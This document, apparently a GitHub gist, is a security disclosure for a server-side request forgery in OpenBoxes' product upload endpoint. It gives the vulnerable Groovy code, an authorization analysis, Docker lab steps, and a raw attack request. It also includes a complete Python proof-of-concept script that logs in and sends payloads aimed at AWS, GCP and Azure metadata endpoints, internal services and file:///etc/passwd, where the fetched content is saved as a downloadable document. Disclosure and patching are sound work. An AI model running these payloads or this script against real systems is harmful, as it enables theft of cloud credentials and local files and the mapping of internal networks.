Skip to content

Instantly share code, notes, and snippets.

@nedlir
Last active June 27, 2026 13:27
Show Gist options
  • Select an option

  • Save nedlir/4eefb532d29cbb9a7091266fc1cbd55c to your computer and use it in GitHub Desktop.

Select an option

Save nedlir/4eefb532d29cbb9a7091266fc1cbd55c to your computer and use it in GitHub Desktop.
OpenBoxes SSRF Vulnerability

A Server-Side Request Forgery (SSRF) vulnerability has been identified in OpenBoxes, an open-source supply chain management system used by healthcare and humanitarian organizations. This vulnerability allows authenticated users to make arbitrary HTTP requests from the server, potentially leading to:

  • Cloud metadata service access (AWS, GCP, Azure credential theft)
  • Internal network reconnaissance and service discovery
  • Access to internal services not exposed to the internet

Vulnerability Details

Affected Version

  • Version: OpenBoxes v0.9.7 (commit 535d1ff5d265b53f86e2923ec1c711d1aa8a435f) and lower versions as well (like 0.9.3 that is present in packages)

  • Docker Image: ghcr.io/openboxes/openboxes:latest

Primary Vulnerability: ProductController SSRF

Location: grails-app/controllers/org/pih/warehouse/product/ProductController.groovy
Method: upload(DocumentCommand command)
Line: 449

Vulnerable Code:

if (params.url) {
    Document documentInstance
    try {
        def filename = params.url.tokenize("/")[-1]
        def fileOutputStream = new FileOutputStream(filename)
        def out = new BufferedOutputStream(fileOutputStream)
        out << new URL(params.url).openStream()  // SSRF VULNERABILITY
        out.close()
        // ... file processing continues
    }
}

Root Cause: The params.url parameter is passed directly to new URL().openStream() without any validation, allowing attackers to specify arbitrary URLs for server-side requests.

Authentication Requirements

  • User must be authenticated (any valid account)
  • No special privileges required - the upload action is not restricted to admin/manager roles
  • Browser role is sufficient - verified through code analysis below

Authorization Code Analysis

The RoleInterceptor.groovy authorization flow for product:upload:

  1. RBAC Rules Check (lines 110-127): The interceptor first checks openboxes.security.rbac.rules in runtime.groovy. There is NO rule for product:upload:

    // runtime.groovy - NO entry for product:upload
    [controller: 'product', actions: ['merge'], accessRules: [ minimumRequiredRole: RoleType.ROLE_ADMIN]],
    // 'upload' is NOT listed
  2. needManager() Check (lines 175-181): The upload action does NOT match any changeActions:

    def static changeActions = [
        'delete', 'create', 'add', 'process', 'save', 'update',
        'importData', 'receive', 'showRecordInventory', 'withdraw',
        'cancel', 'change', 'toggle', 'exportAsCsv', 'importOutboundStockMovement'
    ]
    // 'upload' does NOT start with any of these prefixes
  3. needAdmin() Check (lines 169-173): product:upload is NOT in adminActions:

    def static adminActions = [
        'product': ['create'],  // Only 'create' requires admin, NOT 'upload'
        ...
    ]
  4. needSuperuser() Check (lines 163-167): product:upload is NOT in superuserActions.

  5. Final Authorization (line 148): Since none of the elevated role checks apply, only isNotBrowser is evaluated:

    def isNotBrowser = !userService.canUserBrowse(session.user) && !needRequestorOrManager(controllerName, actionName)

    A user with Browser role passes this check, granting access.

Conclusion: Any authenticated user with at minimum the Browser role can access product/upload.

Research Process

Step 1: Environment Setup

  1. Start OpenBoxes using Docker Compose:

    cd docker
    sudo docker compose up -d
  2. Verify all containers are running:

    sudo docker ps

    Expected output:

    CONTAINER ID   IMAGE                                COMMAND                  STATUS                    PORTS
    xxxxxxxxx      nginx:1.13                           "nginx -g 'daemon of…"   Up (healthy)              0.0.0.0:80->80/tcp
    xxxxxxxxx      ghcr.io/openboxes/openboxes:latest   "java -Dgrails.env=p…"   Up (healthy)              0.0.0.0:8080->8080/tcp
    xxxxxxxxx      mariadb:10                           "docker-entrypoint.s…"   Up (healthy)              3306/tcp
    
  3. Wait for application initialization (~2-3 minutes for first startup)

  4. Verify application is accessible:

    curl -s http://localhost:8080/openboxes/auth/login | head -5

Step 2: Database Setup

The SSRF exploit requires a valid product ID. Create test data:

sudo docker exec openboxes-db mysql -u openboxes -popenboxes openboxes -e "
INSERT INTO category (id, version, name, date_created, last_updated, sort_order) 
VALUES ('test-cat-001', 0, 'Test Category', NOW(), NOW(), 0)
ON DUPLICATE KEY UPDATE name=name;

INSERT INTO product (id, version, name, product_code, date_created, last_updated, category_id) 
VALUES ('test-prod-001', 0, 'SSRF Test Product', 'SSRF-TEST', NOW(), NOW(), 'test-cat-001')
ON DUPLICATE KEY UPDATE name=name;
"

Step 3: Start SSRF Catcher Server

To prove SSRF calls are possible to another server, start an HTTP server on the Docker network that only the application server can reach:

# Start Python HTTP server on Docker network
sudo docker run -d --name ssrf-catcher --network docker_default python:3.9-slim python -m http.server 8888

# Get the internal IP address
sudo docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' ssrf-catcher

Example output: 172.19.0.5

Important: This IP is only reachable from inside the Docker network, not from the host machine. If the SSRF catcher receives a request, it proves the application server made the request.

Step 4: Run the Proof of Concept

python3 poc.py --setup --username admin --password password

Or run with manual steps:

python3 poc.py --username admin --password password

Step 5: Verify SSRF

Check the SSRF catcher logs for incoming requests:

sudo docker logs ssrf-catcher

Confirmed SSRF output:

172.19.0.3 - - [11/Jan/2026 08:34:09] "GET /SSRF_PROOF_067b1790.txt HTTP/1.1" 404 -

The request came from 172.19.0.3 (the openboxes-app container), proving the server made the request.

Step 6: Check OpenBoxes Logs

sudo docker logs openboxes-app --tail 100 | grep "Uploading document"

Expected output:

ProductController: Uploading document: [url:http://172.19.0.5:8888/SSRF_PROOF_xxx.txt, product.id:test-prod-001, ...]
ProductController: Uploading document: [url:http://169.254.169.254/latest/meta-data/, product.id:test-prod-001, ...]
ProductController: Uploading document: [url:http://openboxes-db:3306/, product.id:test-prod-001, ...]

Verification Summary

The SSRF is confirmed when:

  1. The SSRF catcher (internal Docker IP) receives HTTP requests
  2. The request source IP is the openboxes-app container (e.g., 172.19.0.3)
  3. OpenBoxes logs show the arbitrary URLs being processed

This proves the application server fetches user-controlled URLs, enabling attacks against internal services and cloud metadata endpoints.

Proof of Concept

Prerequisites

  • OpenBoxes installation
  • Valid user account (any privilege level even Browser)
  • Python 3 with requests library

Attack Vector

HTTP Request:

POST /openboxes/product/upload HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=authenticated_session_id
Content-Type: application/x-www-form-urlencoded

url=http://169.254.169.254/latest/meta-data/&product.id=1

Test Payloads

Target URL Purpose
AWS Metadata http://169.254.169.254/latest/meta-data/ Steal IAM credentials
GCP Metadata http://metadata.google.internal/computeMetadata/v1/ Steal service account tokens
Internal DB http://openboxes-db:3306/ Access internal services
Localhost http://127.0.0.1:8080/ Access local services

Impact Assessment

Real-World Attack Scenarios

  1. AWS Credential Theft: In AWS deployments, attacker can access http://169.254.169.254/latest/meta-data/iam/security-credentials/ to steal IAM role credentials.

  2. Internal Network Discovery: Attacker can scan internal networks to discover services not exposed to the internet.

  3. Database Access: In Docker deployments, attacker can attempt to access the database container directly.

Limitations

  • Requires authentication (not exploitable by anonymous users)
  • Impact varies by deployment environment (cloud vs on-premise)

Response Data Retrieval

This is NOT a blind SSRF. The vulnerable code writes fetched content to a Document object that is saved to the database and associated with a product:

// From ProductController.groovy lines 449-465
out << new URL(params.url).openStream()  // Fetches arbitrary URL
out.close()

File file = new File(filename)
documentInstance = new Document(
    size: file.size(),
    name: file.name,
    filename: file.name,
    fileContents: file.bytes,  // Response content stored here
    contentType: contentType)

command.product.addToDocuments(documentInstance).save(flush: true)

The attacker can retrieve the fetched content by:

  1. Accessing the product's document list via the UI
  2. Downloading the document through /openboxes/document/download/{id}

This makes credential theft from cloud metadata services directly exploitable - the IAM credentials would be stored as a downloadable document.

Vulnerability Timeline

Date Event
January 11, 2026 Vulnerability discovered and reported to the OpenBoxes maintainers.
February 2, 2026 Vulnerability acknowledged by the development team.
June 13, 2026 Security patch officially released, fixing the unvalidated URL.openStream() call.
#!/usr/bin/env python3
"""
OpenBoxes SSRF Vulnerability - Proof of Concept
================================================
Vulnerability: Server-Side Request Forgery (SSRF)
Location: ProductController.upload() - grails-app/controllers/org/pih/warehouse/product/ProductController.groovy:449
This PoC demonstrates that an authenticated user (including low-privilege Browser role)
can make the server perform arbitrary HTTP requests to internal/external resources.
Usage:
python3 poc.py [--url TARGET_URL] [--username USER] [--password PASS]
Requirements:
pip install requests
"""
import requests
import subprocess
import time
import sys
import re
import argparse
DEFAULT_BASE_URL = "http://localhost:8080/openboxes" # this is the address of the docker I ran from the official repo's code
class OpenBoxesSSRF:
def __init__(self, base_url=DEFAULT_BASE_URL):
self.base_url = base_url
self.session = requests.Session()
self.authenticated = False
self.username = None
def login(self, username, password):
"""Authenticate to OpenBoxes"""
try:
self.session.get(f"{self.base_url}/auth/login", timeout=30)
resp = self.session.post(
f"{self.base_url}/auth/handleLogin",
data={'username': username, 'password': password},
allow_redirects=True,
timeout=30
)
if 'login' not in resp.url.lower() or 'chooseLocation' in resp.url:
self.authenticated = True
self.username = username
return True
return False
except Exception as e:
print(f" Error during login: {e}")
return False
def select_location(self):
"""Select a warehouse location (required for most operations)"""
try:
resp = self.session.get(f"{self.base_url}/dashboard/chooseLocation", timeout=30)
match = re.search(r'/dashboard/chooseLocation/([a-f0-9]+)', resp.text)
if match:
self.session.get(f"{self.base_url}/dashboard/chooseLocation/{match.group(1)}", timeout=30)
return True
return False
except:
return False
def exploit_ssrf(self, malicious_url, product_id="1"):
"""
Trigger the SSRF vulnerability.
The vulnerable code in ProductController.upload():
out << new URL(params.url).openStream()
This makes the server fetch any URL we provide.
"""
try:
resp = self.session.post(
f"{self.base_url}/product/upload",
data={
'url': malicious_url,
'product.id': product_id
},
timeout=30,
allow_redirects=True
)
return {
'status_code': resp.status_code,
'url': resp.url,
'success': 'login' not in resp.url.lower()
}
except Exception as e:
return {'error': str(e), 'success': False}
def create_browser_user():
"""
Create a low-privilege Browser user for testing. This is a non admin user and almost lowest privilege user (read..)
Returns (username, password) or None if failed.
"""
print("\n[*] Attempting to create a Browser-role test user...")
# First, we need to check if we can create users via the database
try:
# Check if user already exists
result = subprocess.run(
['sudo', 'docker', 'exec', 'openboxes-db', 'mysql', '-u', 'openboxes', '-popenboxes', 'openboxes',
'-e', "SELECT id FROM user WHERE username='testbrowser';"],
capture_output=True, text=True, timeout=30
)
if 'id' in result.stdout:
print(" [+] Test user 'testbrowser' already exists")
return ('testbrowser', 'testbrowser123')
# Create the user - this requires knowing the password hash format
# For testing, we'll use the admin to create a user via API if available
print(" [-] Cannot create user via database (password hashing required)")
print(" [!] For full testing, manually create a Browser-role user in OpenBoxes UI")
return None
except Exception as e:
print(f" [-] Error: {e}")
return None
def check_docker_logs(marker=None):
"""Check Docker logs for SSRF evidence"""
try:
result = subprocess.run(
['sudo', 'docker', 'logs', 'openboxes-app', '--tail', '100'],
capture_output=True, text=True, timeout=30
)
logs = result.stdout + result.stderr
ssrf_entries = []
for line in logs.split('\n'):
if 'Uploading document:' in line and 'url:' in line:
if marker is None or marker in line:
ssrf_entries.append(line)
return ssrf_entries
except:
return []
def main():
parser = argparse.ArgumentParser(description='OpenBoxes SSRF Vulnerability PoC')
parser.add_argument('--url', default=DEFAULT_BASE_URL, help='Target OpenBoxes URL')
parser.add_argument('--username', default='admin', help='Username for authentication')
parser.add_argument('--password', default='password', help='Password for authentication')
parser.add_argument('--create-user', action='store_true', help='Attempt to create a test Browser user')
args = parser.parse_args()
print("=" * 70)
print("OpenBoxes SSRF Vulnerability - Proof of Concept")
print("=" * 70)
print(f"\nTarget: {args.url}")
# Initialize exploit
exploit = OpenBoxesSSRF(args.url)
# Step 1: Authentication
print(f"\n[1] Authenticating as '{args.username}'...")
if not exploit.login(args.username, args.password):
print(" [-] Authentication failed")
print(" [!] Ensure OpenBoxes is running and credentials are correct")
return 1
print(f" [+] Successfully authenticated as '{args.username}'")
# Step 2: Select location
print("\n[2] Selecting warehouse location...")
if exploit.select_location():
print(" [+] Location selected")
else:
print(" [!] Could not select location (continuing anyway)")
# Step 3: Execute SSRF attacks
print("\n[3] Executing SSRF attacks...")
unique_marker = f"SSRF_POC_{int(time.time())}"
payloads = [
# Cloud metadata services
("AWS Metadata", "http://169.254.169.254/latest/meta-data/"),
("GCP Metadata", "http://metadata.google.internal/computeMetadata/v1/"),
("Azure Metadata", "http://169.254.169.254/metadata/instance?api-version=2021-02-01"),
# Internal network access
("Internal DB (Docker)", "http://openboxes-db:3306/"),
("Localhost", "http://127.0.0.1:8080/openboxes/api/status"),
# External verification
("External HTTP", f"http://httpbin.org/get?marker={unique_marker}"),
# File protocol (local file read attempt)
("Local File", "file:///etc/passwd"),
]
results = []
for name, url in payloads:
result = exploit.exploit_ssrf(url)
status = "✓ Accepted" if result.get('success') else "✗ Failed"
print(f" [{status}] {name}: {url[:50]}...")
results.append((name, url, result))
time.sleep(0.5)
# Step 4: Verify in server logs
print("\n[4] Checking server logs for SSRF evidence...")
time.sleep(2)
log_entries = check_docker_logs()
recent_entries = [e for e in log_entries if unique_marker in e or '169.254.169.254' in e]
print(f" Found {len(log_entries)} total SSRF attempts in logs")
print(f" Found {len(recent_entries)} from this test run")
if recent_entries:
print("\n Recent SSRF log entries:")
for entry in recent_entries[-3:]:
# Extract URL from log entry
if 'url:' in entry:
url_part = entry.split('url:')[1].split(',')[0]
print(f" → {url_part[:60]}...")
# Summary
print("\n" + "=" * 70)
print("RESULTS")
print("=" * 70)
accepted = sum(1 for _, _, r in results if r.get('success'))
print(f"\nSSRF requests accepted: {accepted}/{len(payloads)}")
print(f"Log entries found: {len(log_entries)}")
if accepted > 0 and len(log_entries) > 0:
print("\n[✓] SSRF VULNERABILITY CONFIRMED")
print("\n The server processed arbitrary URLs including:")
print(" - Cloud metadata endpoints (AWS/GCP/Azure)")
print(" - Internal Docker network services")
print(" - Localhost services")
print(" - External HTTP requests")
return 0
else:
print("\n[?] Results inconclusive - check manually")
return 1
if __name__ == "__main__":
sys.exit(main())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment